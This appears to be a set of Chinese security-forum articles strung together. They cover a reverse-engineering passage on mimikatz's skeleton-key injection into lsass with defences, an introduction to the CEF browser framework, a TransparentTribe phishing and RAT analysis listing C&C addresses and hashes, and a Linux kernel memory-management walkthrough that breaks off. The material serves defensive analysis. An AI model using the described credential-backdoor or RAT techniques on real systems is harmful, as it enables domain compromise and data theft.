跟进后首先通过kull_m_remotelib_GetProcAddressMultipleModules函数这个函数主要也是调用kull_m_process_getVeryBasicModuleInformations函数通过PEBldr获取模块信息，给RemoteExt结构体也就是extensions结构体数组填充对应的值
可以看到被填充后的数据如下
这里是新创了个空间aLocalAddr大小跟rc4_end-rc4_init函数地址相距的大小一致,并把rc4_end-rc4_init函数地址内存的内容拷贝到新空间中，并将extensions[j].ToReplace的值在该空间中查找其对应的位置，后续用extensions[j].Point的值替换该值
我们可以看到rc4_init函数到rc4_end函数内存空间中还有rc4_init_decrypt函数其中rc4_init函数与rc4_decrypt函数中有很多函数不过名字为0x4a4a这种一串奇怪的数字，同时我们前面被填充好的extensions结构体数组也存在这些奇怪的数字并且存在正常的模块名称及其对应的函数名以及函数对应的地址，就是通过内存搜索这些特殊字符然后进行对应的替换。
替换后这些函数内容应该是这样的
该空间内存内容替换为正常的函数内容后使用kull_m_memory_alloc函数在lsass进程中开辟了一块可读可写可执行的内存空间并且大小也是函数rc4_int到函数rc4_end内存空间的大小并通过kull_m_memory_copy函数将该内容拷贝lsass进程中拷贝到新开辟的空间中
可以看到下图左边是lsass进程中新开辟的内存空间的内容与我们之前函数空间的内容一致。新开辟的地址是000001f3`d4fb0000
所以函数kull_m_remotelib_CreateRemoteCodeWitthPatternReplace主要的目的就是将rc4_int,rc4_decrypt函数修复后将代码注入到lsass空间中，后续通过kull_M_memory_copy函数将原地址7ffa3cabf628指向的是cryptdll!rc4HmacInitialize函数的指针替换为了0xc79bcdfd88地址中存储的8字节的值也就是01f3d4fb0000,这块地址指向的我们自己定义的kuhl_misc_skeleton_rc4_init函数的地址也就是hook了原始的rc4HmacInitialize函数
从下图可以看到该地址处替换前地址是00007ffa3cab84c0，右侧为替换后
原始的RC4_init函数被hook后，后续又开始计算自己定义的rc4_decrypt函数相较于rc4_init函数的偏移，然后ptrValue加上偏移就是指向我们自定义rc4_decrypt函数的地址指针,aLsass.address也通过偏移计算得到lsass进程中原始的rc4_decrypt函数的地址的指针，然后通过kull_m_memory_copy函数将我们的rc4_decrypt函数替换掉原始的
可以看到又是调用WriteProcessMemory函数将原地址7ffa3cabf638指向的是cryptdll!rc4HmacDecrypt函数的指针替换为了0xc79bcdfc20地址中存储的8字节的值也就是01f3d4fb016c,这块地址指向的我们自己定义的kuhl_misc_skeleton_rc4_init_decrypt函数的地址也就是hook了原始的rc4HmacDecrypt函数
从下图我们可以看到hook前的情况7ffa3cabf638存的是原始的rc4HmacDecrypt函数
到这里skeleton模块函数已经全部分析完，接下来我们来分析一下我们自定义的rc4初始化函数，在rc4init函数中首先有个kiwiKey数组我们的认证都是传输的hash这个数组正好也是32位很有可能就是skeleton的默认密码mimikatz的hash
通过计算mimikatz的hash发现这里确实就是存的skeleton的密码hash
通过LocalAlloc分配了内存指向pContext,将Key(用户的输入的原始密码hash的地址)传入rc4HmacInitialize函数中生成原始密码的秘钥流完成后续的rc4加密解密的操作，将生成的秘钥流拷贝到开始分配的空间中大小为16字节，接着将kiwiKey(mimikatz字符串的hash)传入rc4HmacInitialize函数中生成mimikatz的秘钥流，接着又继续拷贝到开始分配的空间中大小为16字节，最后将原始的密码hash地址Key也拷贝到pContext空间中
我们给rc4HmacInitialize函数下断点域控输入net use \win2016\c$/user:"test.com\administrator"
"mimikatz"，断下来后我们执行完 _(LPCVOID_ ) ((PBYTE) *pContext + 32)=
Key这段代码就可以看到pContext存储的内容了也就是上图反汇编中rax指向的地址，我们查看dq rax
第一排是原始密码生成的秘钥流，第二排是mimikatz生成的秘钥流，第三排前8字节是我们输入的原始密码hash的地址查看该地址的内容发现就是mimikatz的hash，这里由于我们的原始密码输入的就是mimikatz所以第一排第二排的秘钥流一致。
由于rc4的对称算法加密与解密是一致的都是用上面的秘钥流，解密函数中传入了开始init函数中的pContext以及被加密的数据，首先函数里面也是先分配了一段空间buffer，将待解密的数据拷贝到buffer中，将buffer以及pContext传入rc4HmacDecrypt函数中进行解密，这里是利用第一次的秘钥流解密如果解密成功的话就返回了,如果解密失败会再次调用rc4HmacDecrypt函数使用第二次我们设置的mimikatz生成的秘钥流解密如果成功就会改变pContext存在的原始Key改成我们设置的kiwikey的值，这样的方式就保证了我们无论是输入正确的密码还是我们设置的kiwikey来走rc4初始化加密解密流程都是可以通过的。
自定义kiwikey:zhuzhuxiaoba重新编译后认证成功，不过当前的mimikatz的skeleton万能密码只支持kerberos流程，其实在ntlm认证流程中也是可以实现万能钥shi的早期的万能钥shi的恶意样本就是这样操作的。通过在MSV1_0.dll中定位函数MsvpSamValidate，MsvpSamValidate函数中有一个对MsvpPasswordValidate函数的调用，通过hook该函数，同样的可以实现万能密码的功能。github上有个类似的利用笔者在win10系统上测了一下确实可以利用，不过在server上未能复现
3.防御方案
由于该攻ji是对lsass进程进行了注入， 从Windows 8.1（和Server 2012
R2）开始，Microsoft引入了一项称为LSA保护的功能。此功能基于PPL技术，它是一种纵深防御的安全功能，旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。防止对进程lsass.exe
的代码注入，这样一来就无法使用 mimikatz 对 lsass.exe
进行注入，相关操作也会失败。在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
添加RunAsPPL=dword:00000001，重启就可以开启了PPL保护了
开启后mimikatz注入lsass进程的行为将会失败，虽然mimikatz后面又增加了一个mimidrv.sys驱动来绕过PPL保护，但是加载驱动这一行为已经有明显的日志可以供我们进行检测。
windows日志4697记录了mimidrv.sys驱动的安装
sysmon日志13可以很明显看到mimidrv服务以及对应的驱动程序
我们可以使用zBang 工具扫描当前的域控环境是否已经被注入了万能密码。
（<https://github.com/cyberark/zBang），因为Skeleton> Key 是注入恶意代码到 lsass.exe
进程的，所以它只存在于内存中，如果域控制器重启，注入的 Skeleton Key 将会失效。 | 社区文章 |
# 嵌入式浏览器安全之初识Cef
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Author: Wfox@360RedTeam
## 0x00 前言
早前因兴趣使然，从以往一些软件漏洞上得到启发，研究了一段时间嵌入式浏览器框架，在软件漏洞挖掘方面有一些产出，并且挖掘思路与Web漏洞相似，对Web方向选手比较友好，故计划把自己摸索过程中所思所做的东西记录下来，分成多篇文章阐述基础知识、漏洞发掘思路、以往漏洞的细节分析。
## 0x01 什么是嵌入式浏览器框架
简单理解，嵌入式浏览器框架就是嵌入在客户端软件中的浏览器控件，浏览器与宿主程序是隔离的，通过浏览器控件的丰富接口可以使浏览器与宿主程序进行交互实现丰富的功能。
嵌入式浏览器控件的优势在于，可以更便捷、更优雅的开发出一款客户端产品，并且支持多平台，兼容性高；无需高深的软件开发知识，通过html5就能写出炫酷的软件交互界面。大众熟知的产品如网易云音乐、印象笔记、VSCode、Typora、蚁剑等。
（你所看到的软件界面全是html5网页实现的）
常见的嵌入式框架有Cef、Electron、NW.js、QtWebKit、MSHTML，以应用范围最广的Cef框架举例介绍。
Chromium嵌入式框架(Cef，Chromium Embedded Framework)是个基于Google Chromium项目的开源Web
browser控件，支持Windows, Linux, Mac平台。
Cef通过本地库提供的C和C++编程接口，将宿主程序与Chromium和WebKit的实现细节隔离，通过Javascript扩展把网页与宿主程序打通，让浏览器与应用程序无缝集成，并支持自定义插件、伪协议、Javascript对象与扩展。
## 0x02 Cef基本结构
Cef3采用了多进程架构，Browser进程为主进程，负责窗口管理、界面绘制、网络交互等；Render进程负责页面渲染、V8引擎、Dom节点等。默认的进程模型中，会为每一个标签页创建一个新的Render进程。
Cef进程之间可以通过IPC进行通信，Browser和Render进程可以通过发送异步消息进行双向通信，下面通过介绍Cef结构体来了解他们之间的实现原理。
### CefSettings
CefSettings结构体允许定义全局的CEF配置，经常用到的配置项如下：
1. **single_process** 设置为true时，Browser和Render使用一个进程。此项也可以通过命令行参数”single-process”配置。
2. **browser_subprocess_path** 设置用于启动子进程单独执行的路径。
3. **cache_path** 设置存放缓存数据的位置。如果此项为空，某些功能使用内存缓存，多数功能使用临时的磁盘缓存。
4. **locale** 此设置项将传递给Blink。如果此项为空，将使用默认值”en-US”。在Linux平台下此项被忽略，使用环境变量中的值，解析的依次顺序为：LANGUAE，LC_ALL，LC_MESSAGES和LANG。此项也可以通过命令行参数”lang”配置。
5. **log_file** 此项设置文件路径用于输出debug日志，如果此项为空，默认的日志文件名为debug.log，位于应用程序所在的目录。此项也可以通过命令参数”log-file”配置。
6. **log_severity** 此项设置日志级别，只有当前等级、或者更高等级的日志才会被记录。此项可以通过命令行参数”log-severity”配置，可以设置的值为”verbose”，”info”，”warning”，”error”，”error-report”，”disable”。
7. **resources_dir_path** 此项设置资源文件夹的位置。如果此项为空，Windows平台下cef.pak、Linux平台下devtools_resourcs.pak、Mac OS X下的app bundle Resources目录必须位于组件目录。此项也可以通过命令行参数”resource-dir-path”配置。
8. **locales_dir_path** 此项设置locale文件夹位置。如果此项为空，locale文件夹必须位于组件目录，在Mac OS X平台下此项被忽略，pak文件从app bundle Resources目录。此项也可以通过命令行参数”locales-dir-path”配置。
9. **remote_debugging_port** 此项可以设置1024-65535之间的值，用于在指定端口开启远程调试。此项也可以通过命令行参数”remote-debugging-port”配置。
10. **command_line_args_disabled** 用于禁用Cef进程命令行参数功能，只能通过CefSettings方式进行设置。
### CefApp
CefApp接口提供了不同进程的可定制回调函数，每一个进程对应一个CefApp接口。CefBrowserProcessHandler对应浏览器进程的回调，CefRenderProcessHandler对应渲染进程的回调。我们应该继承CefApp、CefBrowserProcessHandler、CefRenderProcessHandler接口。如果完全使用多进程模式，可以分别在浏览器进程和渲染进程里分开继承接口
CefApp接口提供了不同进程的可定制回调函数。主要的回调函数如下：
1. **OnBeforeCommandLineProcessing** 用于修改Cef进程命令行启动参数。
2. **OnRegisterCustomSchemes** 用于注册自定义schemes伪协议。
3. **GetBrowserProcessHandler** 返回Browser进程的Handler，该Handler包括了诸如OnContextInitialized的回调。
4. **GetRenderProcessHandler** 返回定制Render进程的Handler，该Handler包含了JavaScript相关的一些回调以及消息处理的回调。
### CefClient
每一个CefBrowser对象会对应一个CefClient接口，用于处理浏览器页面的各种回调信息，包括了Browser的生命周期，右键菜单，对话框，状态通知显示，下载事件，拖曳事件，焦点事件，键盘事件，离屏渲染事件等。
1. **OnProcessMessageReceived** 在Browser收到Render进程的消息时被调用
## 0x03 C++与网页交互实现
Cef结构铺垫完了，接下来就要讲网页是如何通过JavaScript与C++进行交互的，这个也是后续漏洞挖掘中的重点关注部分。
Chromium和CEF都是使用V8
JS引擎执行JavaScript，每一个frame标签页在浏览器进程中都有一个属于自己的JS上下文(Context)，在frame中提供一个安全和有限的环境执行js代码。
### 在Render中执行JavaScript
在客户端执行JavaScript最简单的方法是使用CefFrame::ExecuteJavaScript()函数，该函数在Browser和Render进程中都可以使用，并且能在JS上下文之外使用。
CefRefPtr<CefBrowser> browser = ...;
CefRefPtr<CefFrame> frame = browser->GetMainFrame();
frame->ExecuteJavaScript("alert('ExecuteJavaScript works!');",
frame->GetURL(), 0);
这样网页就会执行JS代码 alert(‘ExecuteJavaScript works!’);，弹个提示框
### 窗体绑定
窗口绑定允许C++将值附加到网页的window对象，通过CefRenderProcessHandler::OnContextCreated()方法实现，这个接口是在Render进程的V8引擎Context上下文创建后调用的。
void MyRenderProcessHandler::OnContextCreated(
CefRefPtr<CefBrowser> browser,
CefRefPtr<CefFrame> frame,
CefRefPtr<CefV8Context> context) {
// 获取JS上下文的window对象
CefRefPtr<CefV8Value> object = context->GetGlobal();
// 创建一个V8字符串值
CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!");
// 将字符串作为"window.myval"添加到窗口对象。
object->SetValue("myval", str, V8_PROPERTY_ATTRIBUTE_NONE);
}
窗口绑定对象之后，JS的window对象就会多出一个window.myval的字符串
<script language="JavaScript">
alert(window.myval); // 弹窗内容为 "My Value!"
</script>
每次重新加载frame时，窗口绑定都会重新加载，从而使应用程序每次加载时绑定不同的值。例如，通过修改绑定到该frame标签页window对象的值，可以为不同的frame标签页提供不同的访问应用程序权限，比如说下载功能只绑定保存文件、打开文件等对象，登录功能只绑定验证相关的对象。
### JavaScript扩展
扩展跟窗口绑定类似，当扩展加载到每个frame标签页的上下文后就无法修改了。通过CefRenderProcessHandler::OnWebKitInitialized()方法初始化WebKit时调用CefRegisterExtension()函数将JavaScript扩展函数注册到上下文中。
void MyRenderProcessHandler::OnWebKitInitialized() {
// Define the extension contents.
std::string extensionCode =
"var test;"
"if (!test)"
" test = {};"
"(function() {"
" test.myval = 'My Value!';"
"})();";
// Register the extension.
CefRegisterExtension("v8/test", extensionCode, NULL);
}
extensionCode中的字符串可以是任意的JS代码，样例代码中注册了一个test对象，并且给test对象的myval变量赋值字符串，然后注册到上下文的test对象中。可以通过frame的JS与JS扩展进行交互。
<script language="JavaScript">
alert(test.myval); // 弹窗内容为 "My Value!"
</script>
这种方式是最为常见的页面JS与C++交互方式，高级用法就是通过这种方式注册Native JavaScript函数，从而调用C++在网页中实现丰富的软件功能。
## 0x04 结语
本章节主要是梳理了一些Cef的基本结构、JS与C++的交互实现原理，为后面的漏洞挖掘分析章节做铺垫。当然你也可以不需要太深入地了解原理，有Web漏洞基础也能够去发掘这方面的漏洞。
## 0x05 引用
https://bitbucket.org/chromiumembedded/cef/wiki/GeneralUsage
https://bitbucket.org/chromiumembedded/cef/wiki/JavaScriptIntegration
https://blog.csdn.net/zhuhongshu/article/details/70159672 | 社区文章 |
# TransparentTribe黑客组织利用简历对印度金融行业发起攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一．背景
TransparentTribe
APT组织，又称ProjectM、C-Major，是一个来自巴基斯坦的APT攻击组织，主要攻击手段是通过鱼叉式钓鱼邮件对印度政府、军事、金融等目标发起攻击。该组织的活动最早可以追溯到2012年并在2016年3月首先被proofpoint公司披露。
透过对该黑客组织的长期威胁情报的追踪，我们发现该黑客组织于近期发动了一场针对金融行业的鱼叉式钓鱼邮件攻击，该攻击以金融从业者简历为诱饵，诱骗用户启用宏代码，并将恶意代码嵌入其中。
## 二．攻击活动分析
### 1.攻击流程：
### 2.宏代码分析：
该文档的正文宏代码部分只有一句，在打开宏文档后，会调用模块中waqopfiloLdr里的恶意代码。
首先调用了WaqopfileLdr函数，获取系统的ProgramData的路径，并拼接Dlymrdsa,形成完整路径后，创建该文件夹。
接着获取操作系统版本，并判断是否为win7
当系统为win7时，取出TextBox1中的数据，将其中的”w”字符串去除，形成完整的数据。（可以理解为解混淆），最后将解密的数据写入到C:\ProgramData\Dlymrdsa\ravidhtirad.zip当中。
随后判断标准位，该标准位在执行了Win7系统流程后会自动将标准位置为1，则下述代码将不在执行，这里应该是除Win7以为系统执行的逻辑代码，该代码与上述的代码一致，只是将TextBox2的数据释放。
接着调用unwaqopip方法将压缩包内的exe进行解压。
unwaqopip方法内部将使用系统自带的解压工具对压缩包进行解压。(Shell.Application对象的CopyHere方法)
解压完成后调用Shell函数将解压出来的exe运行起来，并调用WaqopdocLdr方法。
WaqopdocLdr方法将UserForm2中的文本写入到正文文档当中去。
该钓鱼内容为简历，可以看出其简历内容主要是金融行业相关，由于该组织的一贯攻击习惯，可以判断出该组织的目标及有可能是金融机构。
### 3.RAT分析：
我们对2个内置的RaT进行了分析，发现是用.net编写的，编写过.net的都知道.net3.5/2.0和4.0是不兼容的，而Win7和XP默认是预装了3.5/2.0，而Win8以上则默认预装的是4.0，就导致了需要进行系统的判断。
经过笔者分析，该Rat2个版本功能是一样的至少语法上有区别，主要是适配.net版本，这里以.net2.0的样本为主来进行分析。
该Rat是.net的窗口程序，通过Form1类创建窗口。
首先调用初始化方式。
设置窗口属性是否显示以及关闭窗口消息相应函数和主消息回调。
### 3.1 FormClosing回调：
调用ravidhtiradload_apep方法。
获得Rat的完整运行路径并调用ravidhtiradset_ruwn方法。
向注册表项写入开启自启。
### 3.2 Load回调：
设置窗口相关属性后，调用ravidhtiraddowStart方法。
使用定时器线程定时调用ravidhtiradlookupCdon方法,延迟时间为31210毫秒，定时器间隔为35210毫秒。
接着调用ravidhtiradIPSeC方法。
首先调用ravidhtiradserverIPeD方法获取C&C服务器地址。
值得注意的是ravidhtiraddefaultwP默认是有一个C&C地址，但该地址并未使用，而是被上述的IP地址取代，推测是为了应付一些自动提取IOC的软件或者初级分析人员的干扰选项。
然后将会尝试连接到C&C服务器：“151.106.14.125:6818”。
当发生错误时，会进入异常流程，异常流程会按下述端口重新发起连接。
并将异常原因发送到http://shareboxs.net/indexer.php，同时附带系统用户名和系统版本。
如果成功连接后将调用ravidhtiradseeRse方法进行处理。
由于笔者分析时，该C&C服务器以关停，故无法获取其返回的命令格式，以及相关数据，但可以通过内置的部分指令以及功能来获取其对应的恶意行为，该Rat的服务端是由Web进行控制的。
可以看到会首先获取服务端返回的数据。
然后将数据赋值给<>c__DisplayClasse结构并对其进行拆分/判断。
接着就是一个巨型的switch，通过switch进行不同命令的分发，值得注意的是该Rat为了兼容不同版本的服务端使用了多个命令对应相同的一个功能。
由于该Rat的功能较多，为避免文章过于冗长下面仅列取部分Rat的功能代码。
ravidhtirad-getavs命令是遍历当前计算机中所有进程相关的信息并将其回传到C&C服务器。
ravidhtirad-thwumb命令是获取图片缓存信息，并将其回传到C&C服务器。
ravidhtirad-fiwlsz命令是获取指定的文件，并将其回传到C&C服务器。
## 三．攻击活动TTP
## 四．关联&溯源
对该样本进行关联溯源，分别发现了国内友商2019年的几篇报道，其中公开的核心技术细节与本次活动所用的特马（私有特种木马）相匹配，对其核心C&C地址进行溯源，发现了多个关联的恶意样本，均被标注为该黑客组织。
该C&C的服务器地址位于法国境内的IDC服务商，根据开源威胁情报可知该地址曾被多个APT组织与黑产团伙利用。
## 五．总结
该组织的攻击目标和攻击意图十分明显，且对免杀逃逸技术的迭代并没有进行频繁的更新，但攻击活动却十分频繁，这可能源于印巴冲突的升级，网络战争也摆到了明面进行，如此频繁的攻击活动，但却对逃逸技术迭代止步不前，也许是因为现实冲突导致了网络防备松懈。
## 六．IOC
SHA-256：
(1)dbb9168502e819619e94d9dc211d5f4967d8083ac5f4f67742b926abb04e6676
(2)bbea096ceb3c94454a5b92e5f614f107bd98df0b9d2f7022574256d0614f35c8
(3)8f01ae46434e75207d29bc6de069b67c350120a9880cc8e30fefc19471eaac4a
C&C：
(1)151.106.14.125
(2)shareboxs.net | 社区文章 |
# Linux内核（5.4.81）——内存管理模块源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
linux作为开源内核，被广泛使用。同时随着用户态安全机制的逐渐完善，攻击成本逐年升高，越来越多的黑客将目光投向linux内核，linux内核安全问题也随之被越来越多的安全研究人员关注。但作为一个规模宏大的开源项目，linux内核安全研究存在非常高的研究门槛，不管是针对特定模块的漏洞挖掘，还是cve复现，对内核的理解限制了绝大多数安全研究人员。而本文则希望通过对内核源码做详细分析来让更多的安全研究人员越过内核门槛。
这篇文章的贡献如下：
（1）硬件层面上分析linux内核页表
（2）从buddy源码分析linux内核页管理
（3）从slub源码分析linux内核小内存管理
（4）从vma源码分析linux内核对于进程内存空间的布局及管理
（5）分析缺页中断流程
（6）从ptmalloc源码分析用户态内存管理机制，以及如何通过特定api与linux内核交互
## 页表
### 页表查询—以x86_64下的4级页表举例(硬件)
* 流程总览(定义虚拟地址virt_addr, 寻找对应的物理地址phy_addr)
* 顺序: TLB -> 页表结构cache -> 页表(MMU硬件实现)
* MMU = TLB(Translation Lookaside Buffer) + table walk unit
#### TLB转换
1. 明确概念:
VPN(virtual page number), PPN(physical page number),VPO(virtual page
offset)和PPO(physical page offset)
* 对于线性地址和物理地址而言, 都是以page为最小的管理单元, 那么也就是说如果线性地址可以映射到某物理地址, 则两者页偏移相同(默认page size = 4K, 占用低12bits), 即VPO = PPO
* TLB可以简单理解成VPN->PPN(36bits), 实现了一个线性映射, 基本结构如下:
___________________
|__VPN1___|__PPN1___|
|__VPN2___|__PPN2___|
|__VPN3___|__PPN3___|
... ...
1. 通过VPN(virt_addr[12:48])定位表项
* 全相连(full associative)— VPN可以被填充在TLB中的任何位置
* 定位VPN对应的表项需要遍历TLB中的所有表项
* 直接匹配— VPN被映射在特定位置
* 如果TLB存在n个表项, 那么VPN%n即为该VPN的索引
* 定位到索引后, 查看VPN是否匹配, 如果不匹配则TLB miss
* 组相连(set-associative)— 全相连和直接匹配相结合
* TLB被划分为m组, 每个组存在n表项, VPN分为set(VPN[47-log2(m):48]), tag(VPN[12:48-log2(m)])
* VPN[47-log2(m):48]%m为该VPN的set索引
* 定位到索引后, 查看set内是否存在tag, 如果不存在则TLB miss
#### 页表转换
1. 明确概念:
* 对于四级页表: PGD(page global directory), PUD(page upper directory), PMD(page middle directory), PTE(page table entry), 每个页表占9bits, 支持48bits虚拟地址
* 对于五级页表：添加P4D表项, 支持57位虚拟地址
1. 通过virt_addr[12:48]定位page table entry
* CR3寄存器存储PGD物理地址, virt_addr[12:21]为PGD_index, PGD+PGD_index=PGD_addr
* virt_addr[21:30]为PUD_index, PGD_addr+PUD_index=PUD_addr
* virt_addr[30:39]为PME_index, PUD_addr+PME_index=PME_addr
* virt_addr[39:48]为PTE_index, PME_addr+PTE_index=PTE_addr
1. PTE_addr即为page table entry是一个表项映射到PPN
#### 页表结构cache转换
1. 明确概念:
* 如果某些虚拟地址临近, 那么很有可能他们会有相同的页表项(PGD or PUD or PMD or PTE),对于这种情况如果还是依次查询页表就会浪费大量时间, 所以存在页表结构cache, 用来缓存页表
1. cache种类:
* PDE cache(virt_addr[22:48]作为tag, 映射PME entry地址)
* PDPTE cache(virt_addr[31:48]作为tag, 映射PUD entry地址)
* PML4 cache(virt_addr[40:48]作为tag, 映射PGD entry地址)
### 拓展
#### 普通页表cache
1. 明确概念:
* 页表保存在内存中, 可以被缓存到普通cache
1. 各级页表中存在PCD(page-level cache disable)标志位, 控制下一级页表是否需要被缓存
#### Huge_Page
1. 明确概念:
* 页表中指向下一级的地址是按页对齐的, 也就是低12bits无效, 可以用作flag标志位
* page size flag为1时表示当前页表的下级地址对应大页地址而不是页表
1. x86两级页表支持4MB大页(跳过PTE, 4K*2^10=4MB)
2. x86_64四级页表支持2MB大页(跳过PTE, 4K*2^9=2MB), 1GB大页(跳过PME, 2M*2^9=1GB)
#### 页表标志位
* P(Present) – 为1表明该page存在于当前物理内存中, 为0则触发page fault。
* G(Global)- 标记kernel对应的页, 也存在于TLB entry, 表示该页不会被flush掉。
* A(Access) – 当page被访问(读/写)过后, 硬件置1。软件可置0, 然后对应的TLB将会被flush掉。
* D(Dirty)- 对写回的page有作用。当page被写入后, 硬件置1, 表明该page的内容比外部disk/flash对应部分要新, 当系统内存不足, 要将该page回收的时候, 需首先将其内容flush到外部存储, 之后软件将该标志位清0。
* R/W和U/S属于权限控制类：
1. R/W(Read/Write) – 置1表示该page是writable的, 置0是readonly。
2. U/S(User/Supervisor) – 置0表示只有supervisor(比如操作系统中的kernel)才可访问该page, 置1表示user也可以访问。
* PCD和PWT和cache属性相关：
1. PCD(Page Cache Disabled)- 置1表示disable, 即该page中的内容是不可以被cache的。如果置0(enable), 还要看CR0寄存器中的CD位这个总控开关是否也是0。
2. PWT (Page Write Through)- 置1表示该page对应的cache部分采用write through的方式, 否则采用write back。
* 64位特有:
1. XD (Execute Disable)- 在bit[63]中
2. CR3支持PCID:
* CR4寄存器的PCIDE位 = 1, 则CR3低12位表示PCID(覆盖PCD和PWT—CR3低12bits只有PCD和PWT标志位)
## 伙伴算法(buddy)
* alloc_pages(内存分配)概略图
* __free_pages(内存释放)缩略图
## alloc_pages源码分析
1. pol变量保存内存分配策略(man set_mempolicy)
* MPOL_DEFAULT: 默认策略, 优先从当前结点分配内存, 若当前结点无空闲内存, 则从最近的有空闲内存的结点分配
* MPOL_BIND: 指定内存分配结点集合, 若该集合内无空闲内存, 则分配失败
* MPOL_INTERLEAVE: 内存分配要覆盖所有结点, 且每个结点使用的内存大小相同, 常用于共享内存区域
* MPOL_PREFERRED: 从指定结点上分配内存, 若该结点无空闲内存, 则从其他结点分配
* MPOL_LOCAL: 同MPOL_DEFAULT
1. water_mark
enum zone_watermarks {
WMARK_MIN,
WMARK_LOW,
WMARK_HIGH,
NR_WMARK
};
* WMARK_MIN: 当空闲页面的数量降到WMARK_MIN时, 唤醒 kswapd 守护进程以同步的方式进行直接内存回收, 同时只有GFP_ATOMIC可以在这种情况下分配内存
* WMARK_LOW: 当空闲页面的数量降到WMARK_LOW时, 唤醒 kswapd 守护进程进行内存回收
* WMARK_HIGH: kswapd进程休眠
1. 自旋锁(spin_lock)
* 为什么使用自旋锁:
* 使用常规锁会发生上下文切换,时间不可预期,对于一些简单的、极短的临界区来说是一种性能损耗
* 中断上下文是不允许睡眠的,除了自旋锁以外的其他锁都有可能导致睡眠或者进程切换,这是违背了中断的设计初衷,会发生不可预知的错误
* 自旋锁的功能: 一直轮询等待检查临界区是否可用, 直至时间片用完
* 自旋锁使用原则:
* 禁止抢占: 如果A, B同时访问临界区, A进程首先获得自旋锁, B进程轮询等待, B抢占A后, B无法获得自旋锁, 造成死锁
* 禁止睡眠: 如果自旋锁锁住以后进入睡眠,而又不能进行处理器抢占,内核的调取器无法调取其他进程获得该CPU,从而导致该CPU被挂起；同时该进程也无法自唤醒且一直持有该自旋锁,进一步会导致其他使用该自旋锁的位置出现死锁
* 自旋锁的几个实现:
* spin_lock: 只禁止内核抢占, 不会关闭本地中断
* spin_lock_irq: 禁止内核抢占, 且关闭本地中断
* spin_lock_irqsave: 禁止内核抢占, 关闭中断, 保存中断状态寄存器的标志位
* spin_lock与spin_lock_irq的区别:
* 禁止中断与禁止抢占的原因相同
* spin_lock_irq与spin_lock_irqsave的区别:
* 假设临界区被两把spin_lock_irq(a->b)锁定, 当b解锁后(a还在加锁中), 不会保存a加锁后的中断寄存器状态(直接开中断), 也就是锁a在加锁时, 中断被打开, 导致spin_lock_irq在功能上和spin_lock相同, 也就具备了spin_lock的中断隐患
### alloc_pages_current
struct page *alloc_pages_current(gfp_t gfp, unsigned order)
{
// pol变量保存内存分配策略(默认为default_policy)
struct mempolicy *pol = &default_policy;
struct page *page;
// 如果不在中断状态下且未指定在当前结点分配内存时, 使用get_task_policy获得当前进程内存分配策略
if (!in_interrupt() && !(gfp & __GFP_THISNODE))
pol = get_task_policy(current);
// 如果内存分配策略为MPOL_INTERLEAVE, 则进入alloc_page_interleave
if (pol->mode == MPOL_INTERLEAVE)
page = alloc_page_interleave(gfp, order, interleave_nodes(pol));
else
page = __alloc_pages_nodemask(gfp, order,
policy_node(gfp, pol, numa_node_id()),
policy_nodemask(gfp, pol));
return page;
}
### __alloc_pages_nodemask
struct page *
__alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order, int preferred_nid,
nodemask_t *nodemask)
{
struct page *page;
unsigned int alloc_flags = ALLOC_WMARK_LOW;
gfp_t alloc_mask; /* The gfp_t that was actually used for allocation */
struct alloc_context ac = { };
// 如果order大于MAX_ORDER(11), 则内存分配失败
if (unlikely(order >= MAX_ORDER)) {
WARN_ON_ONCE(!(gfp_mask & __GFP_NOWARN));
return NULL;
}
// 添加gfp_allowed_mask标志位
gfp_mask &= gfp_allowed_mask;
alloc_mask = gfp_mask;
// 填充ac参数(用于内存分配), 并做一些检查
if (!prepare_alloc_pages(gfp_mask, order, preferred_nid, nodemask, &ac, &alloc_mask, &alloc_flags))
return NULL;
// 决定是否平衡各个zone中的脏页, 确定zone(相当于对prepare_alloc_pages的补充)
finalise_ac(gfp_mask, &ac);
// 给alloc_flags添加ALLOC_NOFRAGMENT标志位(不使用zone备用迁移类型), 如果遍历完本地zone后仍然无法分配内存则取消该标志位, 该方案是为了减少内存碎片
alloc_flags |= alloc_flags_nofragment(ac.preferred_zoneref->zone, gfp_mask);
// 通过快分配分配内存页
page = get_page_from_freelist(alloc_mask, order, alloc_flags, &ac);
if (likely(page))
goto out;
alloc_mask = current_gfp_context(gfp_mask);
ac.spread_dirty_pages = false;
if (unlikely(ac.nodemask != nodemask))
ac.nodemask = nodemask;
// 通过慢分配分配内存页
page = __alloc_pages_slowpath(alloc_mask, order, &ac);
out:
if (memcg_kmem_enabled() && (gfp_mask & __GFP_ACCOUNT) && page &&
unlikely(__memcg_kmem_charge(page, gfp_mask, order) != 0)) {
__free_pages(page, order);
page = NULL;
}
trace_mm_page_alloc(page, order, alloc_mask, ac.migratetype);
return page;
}
* prepare_alloc_pages
static inline bool prepare_alloc_pages(gfp_t gfp_mask, unsigned int order,
int preferred_nid, nodemask_t *nodemask,
struct alloc_context *ac, gfp_t *alloc_mask,
unsigned int *alloc_flags)
{
// ac填充从gfp_mask获取的内存分配参数
// 获得当前nodemask对应的zone的max_index
ac->high_zoneidx = gfp_zone(gfp_mask);
// 获得node对应的zone_list
ac->zonelist = node_zonelist(preferred_nid, gfp_mask);
ac->nodemask = nodemask;
// 选择迁移类型
ac->migratetype = gfpflags_to_migratetype(gfp_mask);
// 判断是否存在cpuset机制
if (cpusets_enabled()) {
*alloc_mask |= __GFP_HARDWALL;
if (!ac->nodemask)
ac->nodemask = &cpuset_current_mems_allowed;
else
*alloc_flags |= ALLOC_CPUSET;
}
// 函数未实现
fs_reclaim_acquire(gfp_mask);
fs_reclaim_release(gfp_mask);
// 如果内存紧张可能会休眠
might_sleep_if(gfp_mask & __GFP_DIRECT_RECLAIM);
// 对gfp_mask, ord做检查(默认没有开启CONFIG_FAIL_PAGE_ALLOC的情况下, 直接return false)
if (should_fail_alloc_page(gfp_mask, order))
return false;
// 匹配CMA机制
if (IS_ENABLED(CONFIG_CMA) && ac->migratetype == MIGRATE_MOVABLE)
*alloc_flags |= ALLOC_CMA;
return true;
}
* finalise_ac
